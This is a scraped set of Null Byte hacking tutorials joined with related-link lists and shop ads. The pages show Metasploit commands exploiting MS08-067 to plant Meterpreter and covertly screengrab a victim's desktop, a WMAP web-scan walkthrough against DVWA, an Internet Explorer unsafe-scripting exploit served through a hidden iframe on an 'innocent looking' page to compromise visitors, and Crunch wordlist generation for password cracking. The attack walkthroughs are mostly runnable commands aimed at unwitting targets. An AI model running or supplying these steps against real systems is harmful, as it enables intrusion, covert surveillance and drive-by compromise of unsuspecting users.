and screenshots by Retia/Null ByteRelatedHow To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Create Bootable USB with Persistence for Kali LinuxHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Build a Portable Pen-Testing Pi BoxHow to Hack Like a Pro:Getting Started with MetasploitHow To:Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability.How To:Recover Passwords for Windows PCs Using OphcrackHow To:Install Kali Live on a USB Drive (With Persistence, Optional)How To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Install Linux to a Thumb DriveNews:Backtrack 5 Security Essentials
Hack Like a Pro: How to Remotely Grab a Screenshot of Someone's Compromised Computer « Null Byte :: WonderHowTo
Welcome back, my newbie hackers!We've alreadysaved the world from nuclear annihilationandcovered our tracksafterwards, but the world is still threatened by a malicious, megalomaniacal dictator with missiles and nuclear weapons.We need to keep a close eye on him, so in this hack, we'll install a script to periodically take a screenshot of whatever he's doing on his computer. That way we can monitor his activities and hopefully keep the world safe.So, let's fire upMetasploitand get after this malignant, maniacal, and malicious dictator.Step 1: Set Up the HackFirst , let's select an exploit to use. Since he's using a Windows Server 2003 system, I like to use theMS08_067_ netapiexploit, so let's type:msf > use exploit/windows/smb/ms08_067_netapiTo simplify our screen captures, we'll need to use Metasploit's Meterpreter payload. Let's load it into our exploit by:msf > (ms08_067_netapi) set payload windows/meterpreter/reverse_tcpNext, we need to set our options. At this point, I like to use the "show options" command to see what options are necessary to run this hack.msf > (ms08_067_netapi) show optionsAs you can, we need to set the RHOST (the victim) and the LHOST (the attacker or us) IP addresses. After doing this, we should be ready to take over his system.msf > (ms08_067_netapi) set RHOST 192.168.1.108msf > (ms08_067_netapi) set LHOST 192.168.1.109Now, if we did everything correctly, we should be able to exploit the dictator's computer and put the Meterpreter on it, giving us total control of his computer.msf > (ms08_067_netapi) exploitAs you can see, we received a Meterpreter command prompt and we're ready to roll!Step 2: Grabbing a ScreenshotBefore we begin work on the malicious dictator's computer, let's find out what process ID (PID) we are using. Type:meterpreter > getpidAs you can see from the screenshot, we are using the PID of 932 on the dictator's computer. Now let's check to see what process that is by getting a list of all the processes with their corresponding PIDs. Type:meterpreter > psWe can see that the PID of 932 corresponds to thesvrhost.exeprocess. Since we're using a process with active desktop permissions, we're good to go. If not, we would have to migrate to a process with active desktop permissions.Now all we need to do is activate a built-in script in Meterpreter calledespia. Simply type:meterpreter > use espiaRunning this script simply installs espia on the bad guy's computer. Now we need to grab a screenshot of his computer by typing:meterpreter > screengrabWhen we do this, the espia script grabs a screenshot of our dictator's computer, saves it in our root user's directory, and displays a copy for us.As we can see above, we've successfully grabbed a screenshot of our bad boy's computer. Looks like he's up to no good again, checking on those Twinkies that are enroute.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byNenetus/Shutterstock,Picsfive/ShutterstockRelatedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)Hacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Become a Computer Forensics Pro with This $29 TrainingHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHack Like a Pro:How to Pivot from the Victim System to Own Every Computer on the NetworkHow To:The Ultimate Guide to Hacking macOSHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Use ShowMyPc.com to hack into someone's computer remotelyHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherHow To:Shut Down Your PC and Send Other Commands Remotely Through Twitter Using TweetMyPCHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerNews:Google Earth's $399/Year Pro Features Now Free for EveryoneHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:What does Pro Tools HD Native mean for you?News:Social Hacking and Protecting Yourself from Prying EyesHow To:Hack Mac OS X Lion PasswordsHow To:Trick YouTube Into Being a Decent Video EditorHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Use Splice to Edit Movies on Your iPhone for Free
How to Use Metasploit's WMAP Module to Scan Web Applications for Common Vulnerabilities « Null Byte :: WonderHowTo
Having an efficient workflow is an integral part of any craft, but it's especially important when it comes to probing apps for vulnerabilities. WhileMetasploitis considered the de facto standard when it comes toexploitation, it also contains modules for other activities, such asscanning. Case in point, WMAP, aweb applicationscanner available for use from within the Metasploit framework.A web application scanner is a tool used to identify vulnerabilities that are present in web applications. WMAP makes it easy to retain a smooth workflow since it can be loaded and run while working inside Metasploit. This guide will featureDVWA(Damn Vulnerable Web Application) as the target andKali Linuxand Metasploit on the offensive.Don't Miss:Scan Websites for Potential Vulnerabilities Using Vega in KaliStep 1: Set Up Metasploit DatabaseThe first thing we need to do, if it's not done already, is set up the Metasploit database, since this particular module needs it in order to run. Metasploit utilizes a PostgreSQLdatabase system, making it extremely useful to keep track of large amounts of information when conducting penetration tests. This allows for the import and export of scan results from other tools, as well as storage of discovered credentials, services, andother valuable data.We can initialize the database with themsfdb initcommand in theterminal. This will create a default database and user for Metasploit to interact with.msfdb init [+] Starting database [+] Creating database user 'msf' [+] Creating databases 'msf' [+] Creating databases 'msf_test' [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schemaNext, start the PostgreSQL service withservice postgresql start.service postgresql startNow we can fire up Metasploit by typingmsfconsole.msfconsoleFinally, we can check that database is loaded and working properly by using thedb_statuscommand:msf > db_status [*] postgresql connected to msfStep 2: Load WMAPIt's easy to load the WMAP module with theload wmapcommand.msf > load wmap .-.-.-..-.-.-..---..---. | | | || | | || | || |-' `-----'`-'-'-'`-^-'`-' [WMAP 1.5.1] === et [ ] metasploit.com 2012 [*] Successfully loaded plugin: wmapFrom here, if we type?to display Metasploit's help menu, we should see the commands for WMAP and their descriptions at the top of the menu.msf > ? wmap Commands ============= Command Description ------- ----------- wmap_modules Manage wmap modules wmap_nodes Manage nodes wmap_run Test targets wmap_sites Manage sites wmap_targets Manage targets wmap_vulns Display web vulnsStep 3: Add Site to ScanType any of the commands to display their available options; Let's start by managing sites we wish to scan usingwmap_sites.msf > wmap_sites [*] Usage: wmap_sites [options] -h Display this help text -a [url] Add site (vhost,url) -d [ids] Delete sites (separate ids with space) -l List all available sites -s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)To add a site, usewmap_siteswith the-aflag followed by the site address.msf > wmap_sites -a http://172.16.1.102 [*] Site created.Now we can list the available sites usingwmap_siteswith the-lflag.msf > wmap_sites -l [*] Available sites =============== Id Host Vhost Port Proto # Pages # Forms -- ---- ----- ---- ----- ------- ------- 0 172.16.1.102 172.16.1.102 80 http 0 0Step 4: Specify Target URLNext, we need to set the specific target URL we want to scan usingwmap_targets.msf > wmap_targets [*] Usage: wmap_targets [options] -h Display this help text -t [urls] Define target sites (vhost1,url[space]vhost2,url) -d [ids] Define target sites (id1, id2, id3 ...) -c Clean target sites list -l List all target sitesWe can define the target usingwmap_targetswith the-tflag, followed by the URL.msf > wmap_targets -t http://172.16.1.102/dvwa/index.phpAnd usewmap_targetswith the-lflag to list the defined targets.msf > wmap_targets -l [*] Defined targets =============== Id Vhost Host Port SSL Path -- ----- ---- ---- --- ---- 0 172.16.1.102 172.16.1.102 80 false /dvwa/index.phpWe should be good to go at this point, so the only thing left to do is to actually run the scanner.Step 5: Run ScannerTypewmap_runat the prompt to view the options for this command.msf > wmap_run [*] Usage: wmap_run [options] -h Display this help text -t Show all enabled modules -m [regex] Launch only modules that name match provided regex. -p [regex] Only test path defined by regex. -e [/path/to/profile] Launch profile modules against all matched targets. (No profile file runs all enabled modules.)We can usewmap_runwith the-tflag to list all the enabled modules before we scan the target.msf > wmap_run -t [*] Testing target: [*] Site: 172.16.1.102 (172.16.1.102) [*] Port: 80 SSL: false ============================================================ [*] Testing started. 2018-09-20 10:23:26 -0500 [*] Loading wmap modules... [*] 39 wmap enabled modules loaded. [*] =[ SSL testing ]= ============================================================ [*] Target is not SSL. SSL modules disabled. [*] =[ Web Server testing ]= ============================================================ [*] Module auxiliary/scanner/http/http_version [*] Module auxiliary/scanner/http/open_proxy [*] Module auxiliary/admin/http/tomcat_administration [*] Module auxiliary/admin/http/tomcat_utf8_traversal [*] Module auxiliary/scanner/http/drupal_views_user_enum [*] Module auxiliary/scanner/http/frontpage_login [*] Module auxiliary/scanner/http/host_header_injection [*] Module auxiliary/scanner/http/options [*] Module auxiliary/scanner/http/robots_txt [*] Module auxiliary/scanner/http/scraper [*] Module auxiliary/scanner/http/svn_scanner [*] Module auxiliary/scanner/http/trace [*] Module auxiliary/scanner/http/vhost_scanner [*] Module auxiliary/scanner/http/webdav_internal_ip [*] Module auxiliary/scanner/http/webdav_scanner [*] Module auxiliary/scanner/http/webdav_website_content [*] =[ File/Dir testing ]= ============================================================ [*] Module auxiliary/scanner/http/backup_file [*] Module auxiliary/scanner/http/brute_dirs [*] Module auxiliary/scanner/http/copy_of_file [*] Module auxiliary/scanner/http/dir_listing [*] Module auxiliary/scanner/http/dir_scanner [*] Module auxiliary/scanner/http/dir_webdav_unicode_bypass [*] Module auxiliary/scanner/http/file_same_name_dir [*] Module auxiliary/scanner/http/files_dir [*] Module auxiliary/scanner/http/http_put [*] Module auxiliary/scanner/http/ms09_020_webdav_unicode_bypass [*] Module auxiliary/scanner/http/prev_dir_same_name_file [*] Module auxiliary/scanner/http/replace_ext [*] Module auxiliary/scanner/http/soap_xml [*] Module auxiliary/scanner/http/trace_axd [*] Module auxiliary/scanner/http/verb_auth_bypass [*] =[ Unique Query testing ]= ============================================================ [*] Module auxiliary/scanner/http/blind_sql_query [*] Module auxiliary/scanner/http/error_sql_injection [*] Module auxiliary/scanner/http/http_traversal [*] Module auxiliary/scanner/http/rails_mass_assignment [*] Module exploit/multi/http/lcms_php_exec [*] =[ Query testing ]= ============================================================ [*] =[ General testing ]= ============================================================ [*] Done.There are a few different categories of modules including ones for directory testing, query testing, web server testing, and SSL testing, although we can see that our target doesn't employ SSL, so these modules are disabled. To get a detailed description of any given module, use theinfocommand followed by the full path of the module that's listed. For example:msf > info auxiliary/scanner/http/http_version Name: HTTP Version Detection Module: auxiliary/scanner/http/http_version License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host Description: Display version information about each system.Back to scanning. Let's begin the scan by usingwmap_runwith the-eflag, which will run all of the modules instead of just a specified one. Depending on the target site and the number of enabled modules, the scan can take quite some time to finish. Once it's done, the scan will show how long it took to complete.msf > wmap_run -e [*] Using ALL wmap enabled modules. [-] NO WMAP NODES DEFINED. Executing local modules [*] Testing target: [*] Site: 172.16.1.102 (172.16.1.102) [*] Port: 80 SSL: false ============================================================ [*] Testing started. 2018-09-20 10:24:33 -0500 [*] =[ SSL testing ]= ============================================================ [*] Target is not SSL. SSL modules disabled. [*] =[ Web Server testing ]= ============================================================ [*] Module auxiliary/scanner/http/http_version [+] 172.16.1.102:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.24 ) [*] Module auxiliary/scanner/http/open_proxy [*] Module auxiliary/admin/http/tomcat_administration [*] Module auxiliary/admin/http/tomcat_utf8_traversal ... =[ Unique Query testing ]= ============================================================ [*] Module auxiliary/scanner/http/blind_sql_query [*] Module auxiliary/scanner/http/error_sql_injection [*] Module auxiliary/scanner/http/http_traversal [*] Module auxiliary/scanner/http/rails_mass_assignment [*] Module exploit/multi/http/lcms_php_exec [*] =[ Query testing ]= ============================================================ [*] =[ General testing ]= ============================================================ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Launch completed in 337.37769508361816 seconds. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [*] Done.Step 6: Interpret ResultsFinally, we can type thewmap_vulns -lcommand to display the results of the scan.msf > wmap_vulns -l [*] + [172.16.1.102] (172.16.1.102): scraper / [*] scraper Scraper [*] GET Metasploitable2 - Linux [*] + [172.16.1.102] (172.16.1.102): directory /dav/ [*] directory Directory found. [*] GET Res code: 200 [*] + [172.16.1.102] (172.16.1.102): directory /cgi-bin/ [*] directory Directoy found. [*] GET Res code: 403 [*] + [172.16.1.102] (172.16.1.102): directory /doc/ [*] directory Directoy found. [*] GET Res code: 200 [*] + [172.16.1.102] (172.16.1.102): directory /icons/ [*] directory Directoy found. [*] GET Res code: 200 [*] + [172.16.1.102] (172.16.1.102): directory /index/ [*] directory Directoy found. [*] GET Res code: 200 [*] + [172.16.1.102] (172.16.1.102): directory /phpMyAdmin/ [*] directory Directoy found. [*] GET Res code: 200 ...We can see it found some potentially interesting directories that could be worth investigating further:The /cgi-bin/ directory allows scripts to be executed and perform console-like functions directly on the server.The /phpMyAdmin/ directory is an open-source administration tool for MySQL database systems.The /dav/ directory allows users to collaborate and perform web authoring activities remotely.WMAP might not return as detailed results as other web application vulnerability scanners, but this information can be a useful jumping off point to explore different avenues of attack. The fact that this scanner can be easily loaded and utilized from within the Metasploit Framework makes it a useful tool to know how to use.Wrapping UpMetasploit is a powerful tool which can not only be used for exploitation but also features tons of other modules that can be loaded and ran from directly within the framework, making it an absolute powerhouse when it comes to penetration testing and ethical hacking.In this tutorial, we learned how to quickly get Metasploit's database system up and running, as well as how to use the WMAP plugin to scan a web application for vulnerabilities. This is just one of many incredibly useful modules available as part of the Metasploit Framework, with more being written each day to satisfy the needs of white hats everywhere.Don't Miss:More Metasploit Guides on Null ByteFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTBIT/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Detect Vulnerabilities in a Web Application with UniscanHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Exploit Remote File Inclusion to Get a ShellHow To:Audit Web Applications & Servers with TishnaHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Quickly Gather Target Information with Metasploit Post ModulesHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:Hacking the Heartbleed VulnerabilityHow to Hack Databases:Hunting for Microsoft's SQL ServerHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHow to Hack Like a Pro:Getting Started with MetasploitHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow To:Exploit Java Remote Method Invocation to Get RootHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Exploit Shellshock on a Web Server Using MetasploitHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Discover Open Ports Using Metasploit's Built-in Port ScannerHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Seize Control of a Router with RouterSploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Use Websploit to Scan Websites for Hidden DirectoriesHack Like a Pro:How to Scan for Vulnerabilities with NessusHow To:Enumerate MySQL Databases with MetasploitHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)IPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Spider Web Pages with Nmap for SQLi Vulnerabilities
Hack Like a Pro: How to Exploit IE8 to Get Root Access When People Visit Your Website « Null Byte :: WonderHowTo
All ofmy hacksup to this point have been operating system hacks. In other words, we have exploited a vulnerability usually in an operating system service (SMB,RPC, etc.) that all allow us to install a command shell or other code in the target system.As I have mentionednumerous timespreviously, the art of hacking is presently focused on attacking the client side rather than the server side. Server operating systems have become more secure, while clients are loaded with insecure software that can be easily exploited. So, as you would expect, the best hacks are now coming at the client side software.Now, I will begin to explore ways to hack the client side of the equation. Just as a background note, nearly all of these hacks I have shown you so far are buffer overflows. In other words, we find a variable in the system software that can be overflowed with too much information and jam our software behind it (kind of oversimplified, but you get the idea, I hope).Hacking IE8 for Root AccessIn this hack, we will exploit Microsoft's Internet Explorer 6, 7, and 8 on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.When Windows 7 and Windows Server 2008 were released, the default browser was IE8, so unless the target has upgraded their browser, this vulnerable browser is still on their system and we can hack it. In our example, we will use IE 8 on Windows Vista, but it will work on any of the operating systems listed above with Internet Explorer 8.1 or earlier on it.So, let's get started. Fire up your Metasploit (click here for an intro to Metasploit) on Back Track 5 and let's get cooking!Step 1: Find the Appropriate ExploitLet's find the appropriate exploit by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type:msf> search type:exploit platform:windows unsafeAs you can see from the screenshot below, this search brought 15 exploits. The one we want is/exploit/windows/browser/ie_unsafe_scripting.Step 2: Select This ExploitNext tell Metasploit that this is the exploit we want to use. Type:msf> use /exploit/windows/browser/i.e._unsafe_scriptingStep 3: Select the PayloadThen load the payload, in this case,windows/meterpreter/reverse_tcp:msf> set PAYLOAD windows/meterpreter/reverse_tcpStep 4: Check Required OptionsNext, let's check to see what options this exploit requires:msf> show optionsWe can see from the output displayed above that the payload requires us to set local host (LHOST), or in other words, the IP address of our machine. In my case, it's 192.168.1.100.Step 5: Set Local HostWe need to tell Metasploit what our local host (LHOST) IP address is. Type:msf> set LHOST 192.168.1.100Because this is a client-side exploit, we don't need to set the RHOST as we need to manually attack the system by getting them to click on our malicious link.Step 6: Run the ExploitNow, let's run the exploit. Type:msf> exploit (ie_unsafe_scripting) > exploitAs you can see in the screenshot below, this exploit has generated a link (http://192.168.1.100:8080/HG6Kn71Nva ) that we will have to get our targets to load so we can exploit their browser. To do this, we'll add a little HTML to an innocent looking webpage.Step 7: Add the URL to an <IFRAME> TagIn order to get your target's browser to load your malicious URL, you can either send it to them directly, or embed it in an iframe on your perfectly innocent website. To do so, just add the following tag to your html anywhere inside the <body> element:<iframe src="http://192.168.1.100:8080/HG6Kn71Nva"></iframe>When the victim tries to load the page, nothing will be displayed. The browser will hang, but we will have activity at our msfconsole. When the victim navigates to the link it will open a active Meterpreter session that we are connected to. We now own this box!I will showing you more client-side hacks in future blogs, so follow me and we will occupy the web!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byamol195RelatedHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Linux Kernel Exploits Aren't Really an Android ProblemHow to Hack Like a Pro:Getting Started with MetasploitHow To:Hack Android Using Kali (Remotely)How To:Fix Your Hacked and Malware-Infested Website with GoogleHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:The Easiest "One-Click" Root Method for Your Samsung Galaxy S3Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Perform Quick Actions with Custom Status Bar GesturesNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHack Like a Pro:The Hacker MethodologyHow To:Find Exploits & Get Root with Linux Exploit SuggesterHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Community Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Hack Mac OS X Lion PasswordsHack Logs and Linux Commands:What's Going On Here?How To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingDrive-By Hacking:How to Root a Windows Box by Walking Past ItCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHow To:Social Engineer Your Way Into an Amusement Park for FreeHow To:The Official Google+ Insider's Guide IndexCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsGoogle Dorking:AmIDoinItRite?Goodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:The OdysseyCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training
Tutorial: Create Wordlists with Crunch « Null Byte :: WonderHowTo
Greetings all. Before I get into the tutorial, I would like to mention that I am fairly new to Null Byte (been lurking for some time though), and what really appeals to me about this place is its tight, family-like community where everyone is always willing to help each other and the constant search for knowledge that inhabits this subdomain is a driving motivator for me to join in. I'm glad I arrived at the right time. Anyway,wipes tears(not really)...This is a tutorial for newbies and anyone who hasn't yet used Crunch before. Crunch is a utility that is used to create wordlists using letters, numbers, and symbols for every possible combination or according to specific rules. I will be covering this command-line tool in great depth, dissecting each option and demonstrating its purpose. So to start off, in this demonstration I will not assume that you have a particular OS, other than to mention that I will only be covering those based on UNIX.To begin with,download Crunchand navigate to the downloaded tgz file in Terminal. Then unzip the tgz file and install crunch.> cd /path/to/folder/containing/crunch-3.6.tgz> tar -xf crunch-3.6.tgz> cd crunch-3.6 && make && make installSo now you can call thecrunchcommand from anywhere in the Terminal app. Great, so now that it's out of the way, let's get straight into the usage. The syntax for Crunch is:> crunch min max charset optionsTheminandmaxare the minimum and maximum lengths (respectively) for your desired wordlist. By defaultcharsetis not required, but you can use it to limit the characters of your wordlist to the ones you specify. If you choose to usecharsetthen you must maintain the correct order, which is lowUP123@%# (lowercase letters, then uppercase letters, then numbers and finally symbols). You can skip any of them, but the order must always remain the same. Example:> crunch 2 6 qrs347The command above will produce a wordlist for every possible combination of the characters qrs347 from 2 to 6 characters in length.Now let's look at the options.-b : the maximum size of the wordlist (requires -o START)-c : numbers of lines to write to the wordlist (requires -o START)-d : limit the number of duplicate characters-e : stop generating words at a certain string-f : specify a list of character sets from the charset.lst file-i : invert the order of characters in the wordlist-l : allows the literal interpretation of @,%^ when using -t-o : the output wordlist file-p : print permutations without repeating characters (cannot be used with -s)-q : Like the -p option except it reads the strings from a specified file-r : resume a previous session (cannot be used with -s)-s : specify a particular string to begin the wordlist with-t : set a specific pattern of @,%^-z : compress the output wordlist file, accompanied by -oReference:@ represents lowercase letters, represents uppercase letters% represents numbers^ represents special charactersExamples:1) > crunch 5 5 abcde14 -t @@@14 -d 2@ -o syskey.txt -zA zipped syskey.txt wordlist starting with "aab14" and ending in "eed14" will be produced from the above. The reason why the start is not "aaa14" is because -d 2@ allows for only 2 duplicate lowercase letters. Adding -i would invert the results, and adding -e dde14 would stop after the line "dde14" (or "41edd" in the case of an inverted output) is produced.2) > crunch 5 5 bcopuw2468 -s cow28 -c 33 -b 20mb -o STARTThe above will result in a 20mb text file and containing combinations for bcopuw2468 starting with "cow28" and ending on the 33rd line of the theoretical outcome.3) > crunch 2 4 -p kite sky car -o owl.txtIn this example the words 'kite' 'sky' and 'car' will be printed in all orders possible (wholly, not by letter) and outputted into output owl.txt without taking into account the min and max numbers. None of the words will be repeated. If only one word is included, it will will be used as a character set. You could use -q instead of -p to extract words from a specific file.4) > crunch 6 6 -t @^42%3 -l a^aaaa -o art.txtIn this case Crunch will will treat the ^ symbol as itself, rather than a representative of a special character. The sequence will commence with "a^4213" and end in "z^4293" and the output art.txt will be produced.5) > crunch 4 6 -f /path/to/charset.lst -o words.txtAssume the situation where you enter the above command and then decide to pause the process midway. When you come back later, you may restore the session by adding -r option to the syntax, while keeping the rest exactly the same.If you still feel the need to mud your feet by reading paragraphs of illustrations and explanations for eons, you may type...> man crunch...to view the Crunch manual, but there's no need since we've just examined it from head to toe.Now that we have it all covered, you have access to limitless ways in which you could use Crunch during a penetration test. One could obviously point out that it acts great as a password generator, so in turn being useful for password cracking using let's say Hydra or John. I will divulge all of the uses of wordlists in a future tutorial, and other utilities that you could use to perfect the relevance of the contents of said wordlists, thereby enabling a more thorough approach to password cracking or other similar scenarios.Before concluding this how-to, I would like to mention that I will be prolonging this series to cover many different tools used in the sphere of hacking, and possibly a future series relating to privacy and how it can be achieved in an effective way. Please feel free to add suggestions to anything. I'm more than happy to receive feedback.That's it for today, I hope you all learned the ins and outs of the tool Crunch, and expect many similar tutorials in the coming days/weeks.TRTWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)Hack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)How To:Use Wordlister to Create Custom Password Combinations for CrackingHow To:Automate Brute-Force Attacks for Nmap ScansHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Brute-Force WPA/WPA2 via GPUHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Scan Websites for Interesting Directories & Files with GobusterHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Do a bodybuilding crunch exercise for 6-pack absTutorial:Password Profiling with CUPPHow To:Draw Captain CrunchHow To:Do vertical leg crunchesHow To:Make Wordlist with Cupp
Wi-Fi Hacking — Page 2 of 2 « Null Byte :: WonderHowTo
No content found.
How to Successfully Hack a Website in 2016! « Null Byte :: WonderHowTo
